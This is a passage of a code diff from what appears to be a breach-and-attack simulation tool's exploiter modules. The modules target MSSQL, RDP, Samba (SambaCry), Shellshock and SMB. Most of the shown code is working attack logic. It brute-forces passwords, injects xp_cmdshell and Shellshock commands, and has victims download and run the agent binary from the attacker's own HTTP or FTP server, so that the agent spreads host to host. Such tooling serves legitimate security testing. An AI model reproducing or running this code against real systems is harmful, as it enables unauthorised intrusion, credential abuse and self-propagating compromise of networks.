else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
# Create dir for payload
self.create_temp_dir()
if not self.create_payload_file(payload_path):
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
try:
self.create_empty_payload_file()
def handle_payload(self, cursor, payload):
self.start_monkey_server()
self.upload_monkey()
self.stop_monkey_server()
# Clear payload to pass in another command
self.create_empty_payload_file()
self.run_monkey()
self.remove_temp_dir()
except Exception as e:
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
return True
def run_payload_file(self):
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
return self.run_mssql_command(file_running_command)
def create_temp_dir(self):
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(dir_creation_command)
def create_empty_payload_file(self):
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
self.run_mssql_command(tmp_file_creation_command)
def run_mssql_command(self, mssql_command):
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
if not array_of_commands:
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
self.run_mssql_commands(array_of_commands)
def run_monkey(self):
monkey_launch_command = self.get_monkey_launch_command()
self.run_mssql_command(monkey_launch_command)
self.run_payload_file()
def run_mssql_commands(self, cmds):
for cmd in cmds:
self.cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
def upload_monkey(self):
monkey_download_command = self.write_download_command_to_payload()
self.run_payload_file()
self.add_executed_cmd(monkey_download_command.command)
def remove_temp_dir(self):
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
self.run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self):
self.monkey_server = MonkeyHTTPServer(self.host)
self.monkey_server.start()
def stop_monkey_server(self):
self.monkey_server.stop()
def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command()
self.run_mssql_command(monkey_download_command)
return monkey_download_command
def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
# Form monkey's launch command
monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1,
dst_path)
suffix = ">>{}".format(self.payload_file_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix)
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
return MSSQLLimitedSizePayload(command=monkey_download_command,
suffix=suffix,
prefix=prefix)
def brute_force(self, host, port, users_passwords_pairs_list):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends on process success
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
@ -108,23 +172,26 @@ class MSSQLExploiter(HostExploiter):
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
LOG.info(
'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
host, user, self._config.hash_sensitive_data(password)))
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
return cursor
except pymssql.OperationalError:
self.report_login_attempt(False, user, password)
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -1,208 +0,0 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -1,341 +0,0 @@
import os.path
import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.get('isError'):
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval = interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c, True))
result.append(CharEvent(c, False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
LOG.debug("Starting to send keystrokes")
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
time.sleep(1)
pass
def onClose(self):
self.success = len(self._keys) == 0
self.closed = True
def onSessionReady(self):
LOG.debug("Logged in, session is ready for work")
self._last_update = time.time()
self._keys_thread.start()
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1),
ScanCodeEvent(91, True, True),
ScanCodeEvent(19, True),
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
return True
if not self.host.os.get('type'):
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if is_open:
self.host.os['type'] = 'windows'
return True
return False
def exploit_host(self):
global g_reactor
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", self.host)
return False
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for user, password in user_password_pairs:
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
self.host, user, password)
LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
self.report_login_attempt(True, user, password)
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password)
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
return True

View File

@ -4,7 +4,6 @@ import posixpath
import re
import time
from io import BytesIO
from os import path
import impacket.smbconnection
from impacket.nmb import NetBIOSError
@ -20,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@ -35,6 +37,7 @@ class SambaCryExploiter(HostExploiter):
"""
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
@ -51,11 +54,13 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
def exploit_host(self):
def _exploit_host(self):
if not self.is_vulnerable():
return False
@ -63,9 +68,9 @@ class SambaCryExploiter(HostExploiter):
LOG.info("Writable shares and their credentials on host %s: %s" %
(self.host.ip_addr, str(writable_shares_creds_dict)))
self._exploit_info["shares"] = {}
self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
@ -80,15 +85,21 @@ class SambaCryExploiter(HostExploiter):
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
'host': self.host.ip_addr,
'port': self.SAMBA_PORT,
'share_name': share}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
self._exploit_info["shares"][share]["fullpath"] = fullpath
self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info(
"Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
@ -258,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
T1105Telem(ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):

View File

@ -6,11 +6,13 @@ from random import choice
import requests
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'danielg'
@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
class ShellShockExploiter(HostExploiter):
@ -26,6 +29,7 @@ class ShellShockExploiter(HostExploiter):
}
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'Bash'
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
@ -35,7 +39,7 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
def _exploit_host(self):
# start by picking ports
candidate_services = {
service: self.host.services[service] for service in self.host.services if
@ -65,7 +69,7 @@ class ShellShockExploiter(HostExploiter):
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
@ -105,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
if not self._create_lock_file(exploit, url, header):
LOG.info("Another monkey is running shellshock exploit")
return True
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
@ -121,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@ -130,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
@ -143,7 +154,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
self.add_executed_cmd(cmdline)
return True
return False
@ -178,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False,
def _create_lock_file(self, exploit, url, header):
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
return False
cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
return True
def _remove_lock_file(self, exploit, url, header):
cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
@staticmethod
def attack_page(url, header, attack):
result = ""

View File

@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
LOG = getLogger(__name__)
@ -17,6 +19,7 @@ LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SMB'
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -42,7 +45,7 @@ class SmbExploiter(HostExploiter):
return self.host.os.get('type') in self._TARGET_OS_TYPE
return False
def exploit_host(self):
def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
@ -65,9 +68,15 @@ class SmbExploiter(HostExploiter):
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash)
LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash))
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
exploited = True
break
else:
@ -75,9 +84,15 @@ class SmbExploiter(HostExploiter):
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc)
LOG.debug(
"Exception when trying to copy file using SMB to %r with user:"
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
exc)
continue
if not exploited:
@ -87,7 +102,8 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
